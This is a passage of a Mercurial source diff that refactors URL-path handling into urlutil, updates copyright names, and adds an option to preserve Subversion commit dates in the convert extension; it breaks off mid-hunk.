Copyright 2006, 2007 Matt Mackall +# Copyright 2006, 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/absorb.py --- a/hgext/absorb.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/absorb.py Tue Apr 20 11:01:06 2021 -0400 @@ -102,6 +102,9 @@ class emptyfilecontext(object): """minimal filecontext representing an empty file""" + def __init__(self, repo): + self._repo = repo + def data(self): return b'' @@ -212,7 +215,7 @@ if path in pctx: fctxs.append(pctx[path]) else: - fctxs.append(emptyfilecontext()) + fctxs.append(emptyfilecontext(pctx.repo())) fctxs.reverse() # note: we rely on a property of hg: filerev is not reused for linear diff -r bc268ea9f984 -r f67b8946bb1b hgext/blackbox.py --- a/hgext/blackbox.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/blackbox.py Tue Apr 20 11:01:06 2021 -0400 @@ -38,7 +38,7 @@ [blackbox] # Include nanoseconds in log entries with %f (see Python function # datetime.datetime.strftime) - date-format = '%Y-%m-%d @ %H:%M:%S.%f' + date-format = %Y-%m-%d @ %H:%M:%S.%f """ diff -r bc268ea9f984 -r f67b8946bb1b hgext/churn.py --- a/hgext/churn.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/churn.py Tue Apr 20 11:01:06 2021 -0400 @@ -38,11 +38,16 @@ def changedlines(ui, repo, ctx1, ctx2, fmatch): added, removed = 0, 0 diff = b''.join(patch.diff(repo, ctx1.node(), ctx2.node(), fmatch)) + inhunk = False for l in diff.split(b'\n'): - if l.startswith(b"+") and not l.startswith(b"+++ "): + if inhunk and l.startswith(b"+"): added += 1 - elif l.startswith(b"-") and not l.startswith(b"--- "): + elif inhunk and l.startswith(b"-"): removed += 1 + elif l.startswith(b"@"): + inhunk = True + elif l.startswith(b"d"): + inhunk = False return (added, removed) diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/__init__.py --- a/hgext/convert/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # convert.py Foreign SCM converter # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -491,6 +491,22 @@ :convert.skiptags: does not convert tags from the source repo to the target repo. The default is False. + + Subversion Destination + ###################### + + Original commit dates are not preserved by default. + + :convert.svn.dangerous-set-commit-dates: preserve original commit dates, + forcefully setting ``svn:date`` revision properties. This option is + DANGEROUS and may break some subversion functionality for the resulting + repository (e.g. filtering revisions with date ranges in ``svn log``), + as original commit dates are not guaranteed to be monotonically + increasing. + + For commit dates setting to work destination repository must have + ``pre-revprop-change`` hook configured to allow setting of ``svn:date`` + revision properties. See Subversion documentation for more details. """ return convcmd.convert(ui, src, dest, revmapfile, **opts) diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/common.py --- a/hgext/convert/common.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/common.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # common.py - common code for the convert extension # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/convcmd.py --- a/hgext/convert/convcmd.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/convcmd.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # convcmd - convert extension commands definition # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/cvs.py --- a/hgext/convert/cvs.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/cvs.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # cvs.py: CVS conversion code inspired by hg-cvs-import and git-cvsimport # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/darcs.py --- a/hgext/convert/darcs.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/darcs.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # darcs.py - darcs support for the convert extension # -# Copyright 2007-2009 Matt Mackall and others +# Copyright 2007-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/git.py --- a/hgext/convert/git.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/git.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # git.py - git support for the convert extension # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -247,7 +247,8 @@ b'\n'.join(line.strip() for line in content.split(b'\n')), ) for sec in c.sections(): - s = c[sec] + # turn the config object into a real dict + s = dict(c.items(sec)) if b'url' in s and b'path' in s: self.submodules.append(submodule(s[b'path'], b'', s[b'url'])) diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/hg.py --- a/hgext/convert/hg.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/hg.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # hg.py - hg backend for convert extension # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/convert/subversion.py --- a/hgext/convert/subversion.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/convert/subversion.py Tue Apr 20 11:01:06 2021 -0400 @@ -97,6 +97,17 @@ return s.decode(fsencoding).encode('utf-8') +def formatsvndate(date): + return dateutil.datestr(date, b'%Y-%m-%dT%H:%M:%S.000000Z') + + +def parsesvndate(s): + # Example SVN datetime. Includes microseconds. + # ISO-8601 conformant + # '2007-01-04T17:35:00.902377Z' + return dateutil.parsedate(s[:19] + b' UTC', [b'%Y-%m-%dT%H:%M:%S']) + + class SvnPathNotFound(Exception): pass @@ -1158,12 +1169,7 @@ continue paths.append((path, ent)) - # Example SVN datetime. Includes microseconds. - # ISO-8601 conformant - # '2007-01-04T17:35:00.902377Z' - date = dateutil.parsedate( - date[:19] + b" UTC", [b"%Y-%m-%dT%H:%M:%S"] - ) + date = parsesvndate(date) if self.ui.configbool(b'convert', b'localtimezone'): date = makedatetimestamp(date[0]) @@ -1380,7 +1386,7 @@ return logstream(stdout) -pre_revprop_change = b'''#!/bin/sh +pre_revprop_change_template = b'''#!/bin/sh REPOS="$1" REV="$2" @@ -1388,15 +1394,26 @@ PROPNAME="$4" ACTION="$5" -if [ "$ACTION" = "M" -a "$PROPNAME" = "svn:log" ]; then exit 0; fi -if [ "$ACTION" = "A" -a "$PROPNAME" = "hg:convert-branch" ]; then exit 0; fi -if [ "$ACTION" = "A" -a "$PROPNAME" = "hg:convert-rev" ]; then exit 0; fi +%(rules)s echo "Changing prohibited revision property" >&2 exit 1 ''' +def gen_pre_revprop_change_hook(prop_actions_allowed): + rules = [] + for action, propname in prop_actions_allowed: + rules.append( + ( + b'if [ "$ACTION" = "%s" -a "$PROPNAME" = "%s" ]; ' + b'then exit 0; fi' + ) + % (action, propname) + ) + return pre_revprop_change_template % {b'rules': b'\n'.join(rules)} + + class svn_sink(converter_sink, commandline): commit_re = re.compile(br'Committed revision (\d+).', re.M) uuid_re = re.compile(br'Repository UUID:\s*(\S+)', re.M) @@ -1470,9 +1487,20 @@ self.is_exec = None if created: + prop_actions_allowed = [ + (b'M', b'svn:log'), + (b'A', b'hg:convert-branch'), + (b'A', b'hg:convert-rev'), + ] + + if self.ui.configbool( + b'convert', b'svn.dangerous-set-commit-dates' + ): + prop_actions_allowed.append((b'M', b'svn:date')) + hook = os.path.join(created, b'hooks', b'pre-revprop-change') fp = open(hook, b'wb') - fp.write(pre_revprop_change) + fp.write(gen_pre_revprop_change_hook(prop_actions_allowed)) fp.close() util.setflags(hook, False, True) @@ -1667,6 +1695,23 @@ revprop=True, revision=rev, ) + + if self.ui.configbool( + b'convert', b'svn.dangerous-set-commit-dates' + ): + # Subverson always uses UTC to represent date and time + date = dateutil.parsedate(commit.date) + date = (date[0], 0) + + # The only way to set date and time for svn commit is to use propset after commit is done + self.run( + b'propset', + b'svn:date', + formatsvndate(date), + revprop=True, + revision=rev, + ) + for parent in parents: self.addchild(parent, rev) return self.revid(rev) diff -r bc268ea9f984 -r f67b8946bb1b hgext/extdiff.py --- a/hgext/extdiff.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/extdiff.py Tue Apr 20 11:01:06 2021 -0400 @@ -91,7 +91,7 @@ from mercurial.i18n import _ from mercurial.node import ( - nullid, + nullrev, short, ) from mercurial import ( @@ -565,18 +565,18 @@ repo, [from_rev] + [to_rev], b'nowarn' ) ctx1a = scmutil.revsingle(repo, from_rev, None) - ctx1b = repo[nullid] + ctx1b = repo[nullrev] ctx2 = scmutil.revsingle(repo, to_rev, None) else: ctx1a, ctx2 = scmutil.revpair(repo, revs) if not revs: ctx1b = repo[None].p2() else: - ctx1b = repo[nullid] + ctx1b = repo[nullrev] # Disable 3-way merge if there is only one parent if do3way: - if ctx1b.node() == nullid: + if ctx1b.rev() == nullrev: do3way = False matcher = scmutil.match(ctx2, pats, opts) diff -r bc268ea9f984 -r f67b8946bb1b hgext/fastannotate/protocol.py --- a/hgext/fastannotate/protocol.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/fastannotate/protocol.py Tue Apr 20 11:01:06 2021 -0400 @@ -20,6 +20,9 @@ wireprotov1peer, wireprotov1server, ) +from mercurial.utils import ( + urlutil, +) from . import context # common @@ -151,9 +154,9 @@ def annotatepeer(repo): ui = repo.ui - remotepath = ui.expandpath( - ui.config(b'fastannotate', b'remotepath', b'default') - ) + remotedest = ui.config(b'fastannotate', b'remotepath', b'default') + r = urlutil.get_unique_pull_path(b'fastannotate', repo, ui, remotedest) + remotepath = r[0] peer = hg.peer(ui, {}, remotepath) try: diff -r bc268ea9f984 -r f67b8946bb1b hgext/fetch.py --- a/hgext/fetch.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/fetch.py Tue Apr 20 11:01:06 2021 -0400 @@ -19,9 +19,11 @@ lock, pycompat, registrar, - util, ) -from mercurial.utils import dateutil +from mercurial.utils import ( + dateutil, + urlutil, +) release = lock.release cmdtable = {} @@ -107,10 +109,9 @@ ) ) - other = hg.peer(repo, opts, ui.expandpath(source)) - ui.status( - _(b'pulling from %s\n') % util.hidepassword(ui.expandpath(source)) - ) + path = urlutil.get_unique_pull_path(b'fetch', repo, ui, source)[0] + other = hg.peer(repo, opts, path) + ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(path)) revs = None if opts[b'rev']: try: @@ -180,7 +181,7 @@ if not err: # we don't translate commit messages message = cmdutil.logmessage(ui, opts) or ( - b'Automated merge with %s' % util.removeauth(other.url()) + b'Automated merge with %s' % urlutil.removeauth(other.url()) ) editopt = opts.get(b'edit') or opts.get(b'force_editor') editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch') diff -r bc268ea9f984 -r f67b8946bb1b hgext/fix.py --- a/hgext/fix.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/fix.py Tue Apr 20 11:01:06 2021 -0400 @@ -131,8 +131,10 @@ import subprocess from mercurial.i18n import _ -from mercurial.node import nullrev -from mercurial.node import wdirrev +from mercurial.node import ( + nullrev, + wdirrev, +) from mercurial.utils import procutil @@ -433,8 +435,9 @@ if not (len(revs) == 1 and wdirrev in revs): cmdutil.checkunfinished(repo) rewriteutil.precheck(repo, revs, b'fix') - if wdirrev in revs and list( - mergestatemod.mergestate.read(repo).unresolved() + if ( + wdirrev in revs + and mergestatemod.mergestate.read(repo).unresolvedcount() ): raise error.Abort(b'unresolved conflicts', hint=b"use 'hg resolve'") if not revs: diff -r bc268ea9f984 -r f67b8946bb1b hgext/git/__init__.py --- a/hgext/git/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/git/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -90,7 +90,7 @@ return os.path.join(self.path, b'..', b'.hg', f) raise NotImplementedError(b'Need to pick file for %s.' % f) - def changelog(self, trypending): + def changelog(self, trypending, concurrencychecker): # TODO we don't have a plan for trypending in hg's git support yet return gitlog.changelog(self.git, self._db) diff -r bc268ea9f984 -r f67b8946bb1b hgext/git/gitlog.py --- a/hgext/git/gitlog.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/git/gitlog.py Tue Apr 20 11:01:06 2021 -0400 @@ -8,6 +8,7 @@ nullhex, nullid, nullrev, + sha1nodeconstants, wdirhex, ) from mercurial import ( @@ -217,7 +218,7 @@ n = nodeorrev # handle looking up nullid if n == nullid: - return hgchangelog._changelogrevision(extra={}) + return hgchangelog._changelogrevision(extra={}, manifest=nullid) hn = gitutil.togitnode(n) # We've got a real commit! files = [ @@ -422,6 +423,8 @@ class manifestlog(baselog): + nodeconstants = sha1nodeconstants + def __getitem__(self, node): return self.get(b'', node) diff -r bc268ea9f984 -r f67b8946bb1b hgext/histedit.py --- a/hgext/histedit.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/histedit.py Tue Apr 20 11:01:06 2021 -0400 @@ -242,6 +242,7 @@ from mercurial.utils import ( dateutil, stringutil, + urlutil, ) pickle = util.pickle @@ -1040,11 +1041,12 @@ Used by initialization code""" if opts is None: opts = {} - dest = ui.expandpath(remote or b'default-push', remote or b'default') - dest, branches = hg.parseurl(dest, None)[:2] - ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) - - revs, checkout = hg.addbranchrevs(repo, repo, branches, None) + path = urlutil.get_unique_push_path(b'histedit', repo, ui, remote) + dest = path.pushloc or path.loc + + ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) + + revs, checkout = hg.addbranchrevs(repo, repo, (path.branch, []), None) other = hg.peer(repo, opts, dest) if revs: @@ -1581,10 +1583,19 @@ def layout(mode): maxy, maxx = stdscr.getmaxyx() helplen = len(helplines(mode)) + mainlen = maxy - helplen - 12 + if mainlen < 1: + raise error.Abort( + _(b"terminal dimensions %d by %d too small for curses histedit") + % (maxy, maxx), + hint=_( + b"enlarge your terminal or use --config ui.interface=text" + ), + ) return { b'commit': (12, maxx), b'help': (helplen, maxx), - b'main': (maxy - helplen - 12, maxx), + b'main': (mainlen, maxx), } def drawvertwin(size, y, x): @@ -1614,63 +1625,60 @@ stdscr.clear() stdscr.refresh() while True: - try: - oldmode, _ = state[b'mode'] - if oldmode == MODE_INIT: - changemode(state, MODE_RULES) - e = event(state, ch) - - if e == E_QUIT: - return False - if e == E_HISTEDIT: - return state[b'rules'] + oldmode, unused = state[b'mode'] + if oldmode == MODE_INIT: + changemode(state, MODE_RULES) + e = event(state, ch) + + if e == E_QUIT: + return False + if e == E_HISTEDIT: + return state[b'rules'] + else: + if e == E_RESIZE: + size = screen_size() + if size != stdscr.getmaxyx(): + curses.resizeterm(*size) + + curmode, unused = state[b'mode'] + sizes = layout(curmode) + if curmode != oldmode: + state[b'page_height'] = sizes[b'main'][0] + # Adjust the view to fit the current screen size. + movecursor(state, state[b'pos'], state[b'pos']) + + # Pack the windows against the top, each pane spread across the + # full width of the screen. + y, x = (0, 0) + helpwin, y, x = drawvertwin(sizes[b'help'], y, x) + mainwin, y, x = drawvertwin(sizes[b'main'], y, x) + commitwin, y, x = drawvertwin(sizes[b'commit'], y, x) + + if e in (E_PAGEDOWN, E_PAGEUP, E_LINEDOWN, E_LINEUP): + if e == E_PAGEDOWN: + changeview(state, +1, b'page') + elif e == E_PAGEUP: + changeview(state, -1, b'page') + elif e == E_LINEDOWN: + changeview(state, +1, b'line') + elif e == E_LINEUP: + changeview(state, -1, b'line') + + # start rendering + commitwin.erase() + helpwin.erase() + mainwin.erase() + if curmode == MODE_PATCH: + renderpatch(mainwin, state) + elif curmode == MODE_HELP: + renderstring(mainwin, state, __doc__.strip().splitlines()) else: - if e == E_RESIZE: - size = screen_size() - if size != stdscr.getmaxyx(): - curses.resizeterm(*size) - - curmode, _ = state[b'mode'] - sizes = layout(curmode) - if curmode != oldmode: - state[b'page_height'] = sizes[b'main'][0] - # Adjust the view to fit the current screen size. - movecursor(state, state[b'pos'], state[b'pos']) - - # Pack the windows against the top, each pane spread across the - # full width of the screen. - y, x = (0, 0) - helpwin, y, x = drawvertwin(sizes[b'help'], y, x) - mainwin, y, x = drawvertwin(sizes[b'main'], y, x) - commitwin, y, x = drawvertwin(sizes[b'commit'], y, x) - - if e in (E_PAGEDOWN, E_PAGEUP, E_LINEDOWN, E_LINEUP): - if e == E_PAGEDOWN: - changeview(state, +1, b'page') - elif e == E_PAGEUP: - changeview(state, -1, b'page') - elif e == E_LINEDOWN: - changeview(state, +1, b'line') - elif e == E_LINEUP: - changeview(state, -1, b'line') - - # start rendering - commitwin.erase() - helpwin.erase() - mainwin.erase() - if curmode == MODE_PATCH: - renderpatch(mainwin, state) - elif curmode == MODE_HELP: - renderstring(mainwin, state, __doc__.strip().splitlines()) - else: - renderrules(mainwin, state) - rendercommit(commitwin, state) - renderhelp(helpwin, state) - curses.doupdate() - # done rendering - ch = encoding.strtolocal(stdscr.getkey()) - except curses.error: - pass + renderrules(mainwin, state) + rendercommit(commitwin, state) + renderhelp(helpwin, state) + curses.doupdate() + # done rendering + ch = encoding.strtolocal(stdscr.getkey()) def _chistedit(ui, repo, freeargs, opts): diff -r bc268ea9f984 -r f67b8946bb1b hgext/infinitepush/__init__.py --- a/hgext/infinitepush/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/infinitepush/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -116,6 +116,7 @@ from mercurial.utils import ( procutil, stringutil, + urlutil, ) from mercurial import ( @@ -683,7 +684,13 @@ def _pull(orig, ui, repo, source=b"default", **opts): opts = pycompat.byteskwargs(opts) # Copy paste from `pull` command - source, branches = hg.parseurl(ui.expandpath(source), opts.get(b'branch')) + source, branches = urlutil.get_unique_pull_path( + b"infinite-push's pull", + repo, + ui, + source, + default_branches=opts.get(b'branch'), + ) scratchbookmarks = {} unfi = repo.unfiltered() @@ -704,16 +711,19 @@ if scratchbookmarks: other = hg.peer(repo, opts, source) - fetchedbookmarks = other.listkeyspatterns( - b'bookmarks', patterns=scratchbookmarks - ) - for bookmark in scratchbookmarks: - if bookmark not in fetchedbookmarks: - raise error.Abort( - b'remote bookmark %s not found!' % bookmark - ) - scratchbookmarks[bookmark] = fetchedbookmarks[bookmark] - revs.append(fetchedbookmarks[bookmark]) + try: + fetchedbookmarks = other.listkeyspatterns( + b'bookmarks', patterns=scratchbookmarks + ) + for bookmark in scratchbookmarks: + if bookmark not in fetchedbookmarks: + raise error.Abort( + b'remote bookmark %s not found!' % bookmark + ) + scratchbookmarks[bookmark] = fetchedbookmarks[bookmark] + revs.append(fetchedbookmarks[bookmark]) + finally: + other.close() opts[b'bookmark'] = bookmarks opts[b'rev'] = revs @@ -805,7 +815,7 @@ return common, True, remoteheads -def _push(orig, ui, repo, dest=None, *args, **opts): +def _push(orig, ui, repo, *dests, **opts): opts = pycompat.byteskwargs(opts) bookmark = opts.get(b'bookmark') # we only support pushing one infinitepush bookmark at once @@ -833,25 +843,28 @@ oldphasemove = extensions.wrapfunction( exchange, b'_localphasemove', _phasemove ) - # Copy-paste from `push` command - path = ui.paths.getpath(dest, default=(b'default-push', b'default')) - if not path: - raise error.Abort( - _(b'default repository not configured!'), - hint=_(b"see 'hg help config.paths'"), - ) + + paths = list(urlutil.get_push_paths(repo, ui, dests)) + if len(paths) > 1: + msg = _(b'cannot push to multiple path with infinitepush') + raise error.Abort(msg) + + path = paths[0] destpath = path.pushloc or path.loc # Remote scratch bookmarks will be deleted because remotenames doesn't # know about them. Let's save it before push and restore after remotescratchbookmarks = _readscratchremotebookmarks(ui, repo, destpath) - result = orig(ui, repo, dest, *args, **pycompat.strkwargs(opts)) + result = orig(ui, repo, *dests, **pycompat.strkwargs(opts)) if common.isremotebooksenabled(ui): if bookmark and scratchpush: other = hg.peer(repo, opts, destpath) - fetchedbookmarks = other.listkeyspatterns( - b'bookmarks', patterns=[bookmark] - ) - remotescratchbookmarks.update(fetchedbookmarks) + try: + fetchedbookmarks = other.listkeyspatterns( + b'bookmarks', patterns=[bookmark] + ) + remotescratchbookmarks.update(fetchedbookmarks) + finally: + other.close() _saveremotebookmarks(repo, remotescratchbookmarks, destpath) if oldphasemove: exchange._localphasemove = oldphasemove diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/basestore.py --- a/hgext/largefiles/basestore.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/basestore.py Tue Apr 20 11:01:06 2021 -0400 @@ -12,6 +12,9 @@ from mercurial.i18n import _ from mercurial import node, util +from mercurial.utils import ( + urlutil, +) from . import lfutil @@ -29,13 +32,13 @@ def longmessage(self): return _(b"error getting id %s from url %s for file %s: %s\n") % ( self.hash, - util.hidepassword(self.url), + urlutil.hidepassword(self.url), self.filename, self.detail, ) def __str__(self): - return b"%s: %s" % (util.hidepassword(self.url), self.detail) + return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail) class basestore(object): @@ -79,7 +82,7 @@ if not available.get(hash): ui.warn( _(b'%s: largefile %s not available from %s\n') - % (filename, hash, util.hidepassword(self.url)) + % (filename, hash, urlutil.hidepassword(self.url)) ) missing.append(filename) continue diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/lfutil.py --- a/hgext/largefiles/lfutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/lfutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -206,6 +206,7 @@ repo.root, repo.dirstate._validate, lambda: sparse.matcher(repo), + repo.nodeconstants, ) # If the largefiles dirstate does not exist, populate and create @@ -513,7 +514,7 @@ def islfilesrepo(repo): '''Return true if the repo is a largefile repo.''' if b'largefiles' in repo.requirements and any( - shortnameslash in f[0] for f in repo.store.datafiles() + shortnameslash in f[1] for f in repo.store.datafiles() ): return True diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/overrides.py --- a/hgext/largefiles/overrides.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/overrides.py Tue Apr 20 11:01:06 2021 -0400 @@ -1567,7 +1567,7 @@ # Calling purge with --all will cause the largefiles to be deleted. # Override repo.status to prevent this from happening. -@eh.wrapcommand(b'purge', extension=b'purge') +@eh.wrapcommand(b'purge') def overridepurge(orig, ui, repo, *dirs, **opts): # XXX Monkey patching a repoview will not work. The assigned attribute will # be set on the unfiltered repo, but we will only lookup attributes in the diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/remotestore.py --- a/hgext/largefiles/remotestore.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/remotestore.py Tue Apr 20 11:01:06 2021 -0400 @@ -15,7 +15,10 @@ util, ) -from mercurial.utils import stringutil +from mercurial.utils import ( + stringutil, + urlutil, +) from . import ( basestore, @@ -40,11 +43,11 @@ if self.sendfile(source, hash): raise error.Abort( _(b'remotestore: could not put %s to remote store %s') - % (source, util.hidepassword(self.url)) + % (source, urlutil.hidepassword(self.url)) ) self.ui.debug( _(b'remotestore: put %s to remote store %s\n') - % (source, util.hidepassword(self.url)) + % (source, urlutil.hidepassword(self.url)) ) def exists(self, hashes): @@ -80,7 +83,7 @@ # keep trying with the other files... they will probably # all fail too. raise error.Abort( - b'%s: %s' % (util.hidepassword(self.url), e.reason) + b'%s: %s' % (urlutil.hidepassword(self.url), e.reason) ) except IOError as e: raise basestore.StoreError( diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/reposetup.py --- a/hgext/largefiles/reposetup.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/reposetup.py Tue Apr 20 11:01:06 2021 -0400 @@ -445,7 +445,7 @@ def checkrequireslfiles(ui, repo, **kwargs): if b'largefiles' not in repo.requirements and any( - lfutil.shortname + b'/' in f[0] for f in repo.store.datafiles() + lfutil.shortname + b'/' in f[1] for f in repo.store.datafiles() ): repo.requirements.add(b'largefiles') scmutil.writereporequirements(repo) diff -r bc268ea9f984 -r f67b8946bb1b hgext/largefiles/storefactory.py --- a/hgext/largefiles/storefactory.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/largefiles/storefactory.py Tue Apr 20 11:01:06 2021 -0400 @@ -12,6 +12,9 @@ hg, util, ) +from mercurial.utils import ( + urlutil, +) from . import ( lfutil, @@ -19,6 +22,7 @@ wirestore, ) + # During clone this function is passed the src's ui object # but it needs the dest's ui object so it can read out of # the config file. Use repo.ui instead. @@ -28,24 +32,27 @@ if not remote: lfpullsource = getattr(repo, 'lfpullsource', None) - if lfpullsource: - path = ui.expandpath(lfpullsource) - elif put: - path = ui.expandpath(b'default-push', b'default') + if put: + path = urlutil.get_unique_push_path( + b'lfpullsource', repo, ui, lfpullsource + ) else: - path = ui.expandpath(b'default') + path, _branches = urlutil.get_unique_pull_path( + b'lfpullsource', repo, ui, lfpullsource + ) - # ui.expandpath() leaves 'default-push' and 'default' alone if - # they cannot be expanded: fallback to the empty string, - # meaning the current directory. + # XXX we should not explicitly pass b'default', as this will result in + # b'default' being returned if no `paths.default` was defined. We + # should explicitely handle the lack of value instead. if repo is None: - path = ui.expandpath(b'default') - path, _branches = hg.parseurl(path) + path, _branches = urlutil.get_unique_pull_path( + b'lfs', repo, ui, b'default' + ) remote = hg.peer(repo or ui, {}, path) elif path == b'default-push' or path == b'default': remote = repo else: - path, _branches = hg.parseurl(path) + path, _branches = urlutil.parseurl(path) remote = hg.peer(repo or ui, {}, path) # The path could be a scheme so use Mercurial's normal functionality @@ -71,7 +78,7 @@ raise error.Abort( _(b'%s does not appear to be a largefile store') - % util.hidepassword(path) + % urlutil.hidepassword(path) ) diff -r bc268ea9f984 -r f67b8946bb1b hgext/lfs/blobstore.py --- a/hgext/lfs/blobstore.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/lfs/blobstore.py Tue Apr 20 11:01:06 2021 -0400 @@ -31,7 +31,10 @@ worker, ) -from mercurial.utils import stringutil +from mercurial.utils import ( + stringutil, + urlutil, +) from ..largefiles import lfutil @@ -725,7 +728,7 @@ https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md """ lfsurl = repo.ui.config(b'lfs', b'url') - url = util.url(lfsurl or b'') + url = urlutil.url(lfsurl or b'') if lfsurl is None: if remote: path = remote @@ -739,7 +742,7 @@ # and fall back to inferring from 'paths.remote' if unspecified. path = repo.ui.config(b'paths', b'default') or b'' - defaulturl = util.url(path) + defaulturl = urlutil.url(path) # TODO: support local paths as well. # TODO: consider the ssh -> https transformation that git applies @@ -748,7 +751,7 @@ defaulturl.path += b'/' defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs' - url = util.url(bytes(defaulturl)) + url = urlutil.url(bytes(defaulturl)) repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url) scheme = url.scheme diff -r bc268ea9f984 -r f67b8946bb1b hgext/lfs/wrapper.py --- a/hgext/lfs/wrapper.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/lfs/wrapper.py Tue Apr 20 11:01:06 2021 -0400 @@ -116,10 +116,10 @@ if hgmeta or text.startswith(b'\1\n'): text = storageutil.packmeta(hgmeta, text) - return (text, True, {}) + return (text, True) -def writetostore(self, text, sidedata): +def writetostore(self, text): # hg filelog metadata (includes rename, etc) hgmeta, offset = storageutil.parsemeta(text) if offset and offset > 0: diff -r bc268ea9f984 -r f67b8946bb1b hgext/mq.py --- a/hgext/mq.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/mq.py Tue Apr 20 11:01:06 2021 -0400 @@ -108,6 +108,7 @@ from mercurial.utils import ( dateutil, stringutil, + urlutil, ) release = lockmod.release @@ -2509,7 +2510,7 @@ ) filename = normname(filename) self.checkreservedname(filename) - if util.url(filename).islocal(): + if urlutil.url(filename).islocal(): originpath = self.join(filename) if not os.path.isfile(originpath): raise error.Abort( @@ -2862,11 +2863,12 @@ # main repo (destination and sources) if dest is None: dest = hg.defaultdest(source) - sr = hg.peer(ui, opts, ui.expandpath(source)) + __, source_path, __ = urlutil.get_clone_path(ui, source) + sr = hg.peer(ui, opts, source_path) # patches repo (source only) if opts.get(b'patches'): - patchespath = ui.expandpath(opts.get(b'patches')) + __, patchespath, __ = urlutil.get_clone_path(ui, opts.get(b'patches')) else: patchespath = patchdir(sr) try: diff -r bc268ea9f984 -r f67b8946bb1b hgext/narrow/narrowcommands.py --- a/hgext/narrow/narrowcommands.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/narrow/narrowcommands.py Tue Apr 20 11:01:06 2021 -0400 @@ -36,6 +36,9 @@ util, wireprototypes, ) +from mercurial.utils import ( + urlutil, +) table = {} command = registrar.command(table) @@ -214,6 +217,7 @@ newincludes, newexcludes, force, + backup, ): oldmatch = narrowspec.match(repo.root, oldincludes, oldexcludes) newmatch = narrowspec.match(repo.root, newincludes, newexcludes) @@ -272,10 +276,10 @@ hg.clean(repo, urev) overrides = {(b'devel', b'strip-obsmarkers'): False} with ui.configoverride(overrides, b'narrow'): - 